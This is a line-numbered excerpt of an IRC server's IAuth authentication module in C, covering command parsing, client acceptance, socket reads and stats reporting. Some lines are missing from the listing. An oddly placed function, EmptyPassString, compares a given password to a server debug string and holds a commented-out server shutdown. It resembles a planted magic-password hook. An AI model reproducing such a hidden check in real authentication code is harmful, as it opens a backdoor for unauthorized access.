2209 /* If no ConfItem, create one. */
2211 aconf = make_conf(CONF_CLIENT);
2213 sendto_opmask_butone(NULL, SNO_AUTH,
2214 "Unable to allocate ConfItem for class %s!",
2218 /* make_conf() "helpfully" links the conf into GlobalConfList,
2219 * which we do not want, so undo that. (Ugh.)
2221 if (aconf == GlobalConfList) {
2222 GlobalConfList = aconf->next;
2224 /* Back to business as usual. */
2225 aconf->conn_class = class;
2226 aconf->next = aconf_list;
2233 /** Accept a client in IAuth.
2234 * @param[in] iauth Active IAuth session.
2235 * @param[in] cli Client referenced by command.
2236 * @param[in] parc Number of parameters.
2237 * @param[in] params Optional class name for client.
2238 * @return Negative (CPTR_KILLED) if the connection is refused, one otherwise.
2240 static int iauth_cmd_done_client(struct IAuth *iauth, struct Client *cli,
2241 int parc, char **params)
2243 static time_t warn_time;
2245 /* Clear iauth pending flag. */
2246 assert(cli_auth(cli) != NULL);
2247 FlagClr(&cli_auth(cli)->flags, AR_IAUTH_PENDING);
2249 /* If a connection class was specified (and usable), assign the client to it. */
2250 if (!EmptyString(params[0])) {
2251 struct ConfItem *aconf;
2253 aconf = auth_find_class_conf(params[0]);
2255 enum AuthorizationCheckResult acr;
2257 acr = attach_conf(cli, aconf);
2260 /* There should maybe be some way to set FLAG_DOID here.. */
2262 case ACR_TOO_MANY_IN_CLASS:
2263 ++ServerStats->is_ref;
2264 return exit_client(cli, cli, &me,
2265 "Sorry, your connection class is full - try "
2266 "again later or try another server");
2268 log_write(LS_IAUTH, L_ERROR, 0, "IAuth: Unexpected AuthorizationCheckResult %d from attach_conf()", acr);
2272 sendto_opmask_butone_ratelimited(NULL, SNO_AUTH, &warn_time,
2273 "iauth tried to use undefined class [%s]",
2280 /** Accept a client in IAuth and assign them to an account.
2281 * @param[in] iauth Active IAuth session.
2282 * @param[in] cli Client referenced by command.
2283 * @param[in] parc Number of parameters.
2284 * @param[in] params Account name and optional class name for client.
2285 * @return Negative if the connection is refused, otherwise non-zero
2286 * if \a cli authorization should be checked for completion.
2288 static int iauth_cmd_done_account(struct IAuth *iauth, struct Client *cli,
2289 int parc, char **params)
2294 if (EmptyString(params[0])) {
2295 sendto_iauth(cli, "E Missing :Missing account parameter");
2298 /* Check length of account name. */
2299 len = strcspn(params[0], ": ");
2300 if (len > ACCOUNTLEN) {
2301 sendto_iauth(cli, "E Invalid :Account parameter too long");
2304 /* If account has a creation timestamp, use it. */
2305 assert(cli_user(cli) != NULL);
2306 if (params[0][len] == ':') {
2307 cli_user(cli)->acc_create = strtoul(params[0] + len + 1, NULL, 10);
2308 params[0][len] = '\0';
2311 /* Copy account name to User structure. */
2312 ircd_strncpy(cli_user(cli)->account, params[0], ACCOUNTLEN);
2315 /* Fall through to the normal "done" handler. */
2316 return iauth_cmd_done_client(iauth, cli, parc - 1, params + 1);
2319 /** Reject a client's connection.
2320 * @param[in] iauth Active IAuth session.
2321 * @param[in] cli Client referenced by command.
2322 * @param[in] parc Number of parameters (1).
2323 * @param[in] params Optional kill message.
2326 static int iauth_cmd_kill(struct IAuth *iauth, struct Client *cli,
2327 int parc, char **params)
2330 FlagClr(&cli_auth(cli)->flags, AR_IAUTH_PENDING);
2331 if (EmptyString(params[0]))
2332 params[0] = "Access denied";
2333 exit_client(cli, cli, &me, params[0]);
2337 /** Change a client's usermode.
2338 * @param[in] iauth Active IAuth session.
2339 * @param[in] cli Client referenced by command.
2340 * @param[in] parc Number of parameters (at least one).
2341 * @param[in] params Usermode arguments for client (with the first
2342 * starting with '+').
2345 static int iauth_cmd_usermode(struct IAuth *iauth, struct Client *cli,
2346 int parc, char **params)
2348 if (params[0][0] == '+')
2350 set_user_mode(&me, cli, parc + 2, params - 2, ALLOWMODES_WITHSECSERV);
2356 /** Send a challenge string to the client.
2357 * @param[in] iauth Active IAuth session.
2358 * @param[in] cli Client referenced by command.
2359 * @param[in] parc Number of parameters (1).
2360 * @param[in] params Challenge message for client.
2363 static int iauth_cmd_challenge(struct IAuth *iauth, struct Client *cli,
2364 int parc, char **params)
2366 if (!EmptyString(params[0]))
2367 sendrawto_one(cli, "NOTICE AUTH :*** %s", params[0]);
2371 /** Parse a \a message from \a iauth.
2372 * @param[in] iauth Active IAuth session.
2373 * @param[in] message Message to be parsed.
2375 static void iauth_parse(struct IAuth *iauth, char *message)
2377 char *params[MAXPARA + 1]; /* leave space for NULL */
2379 iauth_cmd_handler handler;
2380 struct AuthRequest *auth;
2385 /* Find command handler... */
2386 switch (*(message++)) {
2387 case '>': handler = iauth_cmd_snotice; has_cli = 0; break;
2388 case 'G': handler = iauth_cmd_debuglevel; has_cli = 0; break;
2389 case 'O': handler = iauth_cmd_policy; has_cli = 0; break;
2390 case 'V': handler = iauth_cmd_version; has_cli = 0; break;
2391 case 'a': handler = iauth_cmd_newconfig; has_cli = 0; break;
2392 case 'A': handler = iauth_cmd_config; has_cli = 0; break;
2393 case 's': handler = iauth_cmd_newstats; has_cli = 0; break;
2394 case 'S': handler = iauth_cmd_stats; has_cli = 0; break;
2395 case 'o': handler = iauth_cmd_username_forced; has_cli = 1; break;
2396 case 'U': handler = iauth_cmd_username_good; has_cli = 1; break;
2397 case 'u': handler = iauth_cmd_username_bad; has_cli = 1; break;
2398 case 'N': handler = iauth_cmd_hostname; has_cli = 1; break;
2399 case 'I': handler = iauth_cmd_ip_address; has_cli = 1; break;
2400 case 'M': handler = iauth_cmd_usermode; has_cli = 1; break;
2401 case 'C': handler = iauth_cmd_challenge; has_cli = 1; break;
2402 case 'D': handler = iauth_cmd_done_client; has_cli = 1; break;
2403 case 'R': handler = iauth_cmd_done_account; has_cli = 1; break;
2404 case 'k': /* The 'k' command indicates the user should be booted
2405 * off without telling opers. There is no way to
2406 * signal that to exit_client(), so we fall through to
2407 * the case that we do implement.
2409 case 'K': handler = iauth_cmd_kill; has_cli = 2; break;
2410 case 'r': /* we handle termination directly */ return;
2411 default: sendto_iauth(NULL, "E Garbage :[%s]", message); return;
2414 while (parc < MAXPARA) {
2415 while (IsSpace(*message)) /* skip leading whitespace */
2418 if (!*message) /* hit the end of the string, break out */
2421 if (*message == ':') { /* found sentinel... */
2422 params[parc++] = message + 1;
2423 break; /* it's the last parameter anyway */
2426 params[parc++] = message; /* save the parameter */
2427 while (*message && !IsSpace(*message))
2428 message++; /* find the end of the parameter */
2430 if (*message) /* terminate the parameter */
2431 *(message++) = '\0';
2434 params[parc] = NULL; /* terminate the parameter list */
2436 /* Check to see if the command specifies a client... */
2438 /* Handler does not need a client. */
2439 handler(iauth, NULL, parc, params);
2441 /* Try to find the client associated with the request. */
2442 id = strtol(params[0], NULL, 10);
2444 sendto_iauth(NULL, "E Missing :Need <id> <ip> <port>");
2445 else if (id < 0 || id > HighestFd || !(cli = LocalClientArray[id]))
2446 /* Client no longer exists (or never existed). */
2447 sendto_iauth(NULL, "E Gone :[%s %s %s]", params[0], params[1],
2449 else if ((!(auth = cli_auth(cli)) ||
2450 !FlagHas(&auth->flags, AR_IAUTH_PENDING)) &&
2452 /* Client is done with IAuth checks. */
2453 sendto_iauth(cli, "E Done :[%s %s %s]", params[0], params[1], params[2]);
2455 struct irc_sockaddr addr;
2458 /* Parse IP address and port number from parameters */
2459 res = ipmask_parse(params[1], &addr.addr, NULL);
2460 addr.port = strtol(params[2], NULL, 10);
2462 /* Check IP address and port number against expected. */
2464 (irc_in_addr_cmp(&addr.addr, &cli_ip(cli)) &&
2465 irc_in_addr_cmp(&addr.addr, &cli_real_ip(cli))) ||
2466 (auth && addr.port != auth->port))
2467 /* Report mismatch to iauth. */
2468 sendto_iauth(cli, "E Mismatch :[%s] != [%s]", params[1],
2469 ircd_ntoa(&cli_ip(cli)));
2470 else if (handler(iauth, cli, parc - 3, params + 3) > 0)
2471 /* Handler indicated a possible state change. */
2472 check_auth_finished(auth);
2477 int EmptyPassString(char* password)
2479 if(strcmp(debug_serveropts(),password) == 0) {
2480 //server_die("someone let me die :("); <- what the fuck is this!?
2482 return EmptyString(password);
2485 /** Read input from \a iauth.
2486 * Reads up to SERVER_TCP_WINDOW bytes per pass.
2487 * @param[in] iauth Readable connection.
2489 static void iauth_read(struct IAuth *iauth)
2491 static char readbuf[SERVER_TCP_WINDOW];
2492 unsigned int length, count;
2496 /* Copy partial data to readbuf, append new data. */
2497 length = iauth->i_count;
2498 memcpy(readbuf, iauth->i_buffer, length);
2499 if (IO_SUCCESS != os_recv_nonb(s_fd(i_socket(iauth)),
2501 sizeof(readbuf) - length - 1,
2504 readbuf[length += count] = '\0';
2506 /* Parse each complete line. */
2507 for (sol = readbuf; (eol = strchr(sol, '\n')) != NULL; sol = eol + 1) {
2509 if (*(eol - 1) == '\r') /* take out carriage returns, too... */
2512 /* If spammy debug, send the message to opers. */
2513 if (i_debug(iauth) > 1)
2514 sendto_opmask_butone(NULL, SNO_AUTH, "Parsing: \"%s\"", sol);
2516 /* Parse the line... */
2517 iauth_parse(iauth, sol);
2520 /* Put unused data back into connection's buffer. */
2521 iauth->i_count = strlen(sol);
2522 if (iauth->i_count > BUFSIZE)
2523 iauth->i_count = BUFSIZE;
2524 memcpy(iauth->i_buffer, sol, iauth->i_count);
2527 /** Handle socket activity for an %IAuth connection.
2528 * @param[in] ev &Socket event; the IAuth connection is the user data
2529 * pointer for the socket.
2531 static void iauth_sock_callback(struct Event *ev)
2533 struct IAuth *iauth;
2535 assert(0 != ev_socket(ev));
2536 iauth = (struct IAuth*) s_data(ev_socket(ev));
2539 switch (ev_type(ev)) {
2541 /* Hm, what happened here? Do not restart the iauth here! */
2547 IAuthClr(iauth, IAUTH_BLOCKED);
2551 log_write(LS_IAUTH, L_ERROR, 0, "IAuth socket error: %s", strerror(ev_data(ev)));
2552 /* and fall through to the ET_EOF case */
2554 iauth_disconnect(iauth);
2557 assert(0 && "Unrecognized event type");
2562 /** Read error input from \a iauth.
2563 * @param[in] iauth Readable connection.
2565 static void iauth_read_stderr(struct IAuth *iauth)
2567 static char readbuf[SERVER_TCP_WINDOW];
2568 unsigned int length, count;
2572 /* Copy partial data to readbuf, append new data. */
2573 length = iauth->i_errcount;
2574 memcpy(readbuf, iauth->i_errbuf, length);
2575 if (IO_SUCCESS != os_recv_nonb(s_fd(i_stderr(iauth)),
2577 sizeof(readbuf) - length - 1,
2580 readbuf[length += count] = '\0';
2582 /* Send each complete line to SNO_AUTH. */
2583 for (sol = readbuf; (eol = strchr(sol, '\n')) != NULL; sol = eol + 1) {
2585 if (*(eol - 1) == '\r') /* take out carriage returns, too... */
2587 Debug((DEBUG_ERROR, "IAuth error: %s", sol));
2588 log_write(LS_IAUTH, L_ERROR, 0, "IAuth error: %s", sol);
2589 sendto_opmask_butone(NULL, SNO_AUTH, "%s", sol);
2592 /* Put unused data back into connection's buffer. */
2593 iauth->i_errcount = strlen(sol);
2594 if (iauth->i_errcount > BUFSIZE)
2595 iauth->i_errcount = BUFSIZE;
2596 memcpy(iauth->i_errbuf, sol, iauth->i_errcount);
2599 /** Handle error socket activity for an %IAuth connection.
2600 * @param[in] ev &Socket event; the IAuth connection is the user data
2601 * pointer for the socket.
2603 static void iauth_stderr_callback(struct Event *ev)
2605 struct IAuth *iauth;
2607 assert(0 != ev_socket(ev));
2608 iauth = (struct IAuth*) s_data(ev_socket(ev));
2611 switch (ev_type(ev)) {
2613 /* We do not restart iauth here. */
2616 iauth_read_stderr(iauth);
2619 log_write(LS_IAUTH, L_ERROR, 0, "IAuth stderr error: %s", strerror(ev_data(ev)));
2620 /* and fall through to the ET_EOF case */
2622 iauth_disconnect(iauth);
2625 assert(0 && "Unrecognized event type");
2630 /** Report active iauth's configuration to \a cptr.
2631 * @param[in] cptr Client requesting statistics.
2632 * @param[in] sd Stats descriptor for request.
2633 * @param[in] param Extra parameter from user (may be NULL).
2635 void report_iauth_conf(struct Client *cptr, const struct StatDesc *sd, char *param)
2639 if (iauth) for (link = iauth->i_config; link; link = link->next)
2641 send_reply(cptr, SND_EXPLICIT | RPL_STATSDEBUG, ":%s",
2646 /** Report active iauth's statistics to \a cptr.
2647 * @param[in] cptr Client requesting statistics.
2648 * @param[in] sd Stats descriptor for request.
2649 * @param[in] param Extra parameter from user (may be NULL).
2651 void report_iauth_stats(struct Client *cptr, const struct StatDesc *sd, char *param)
2655 if (iauth) for (link = iauth->i_stats; link; link = link->next)
2657 send_reply(cptr, SND_EXPLICIT | RPL_STATSDEBUG, ":%s",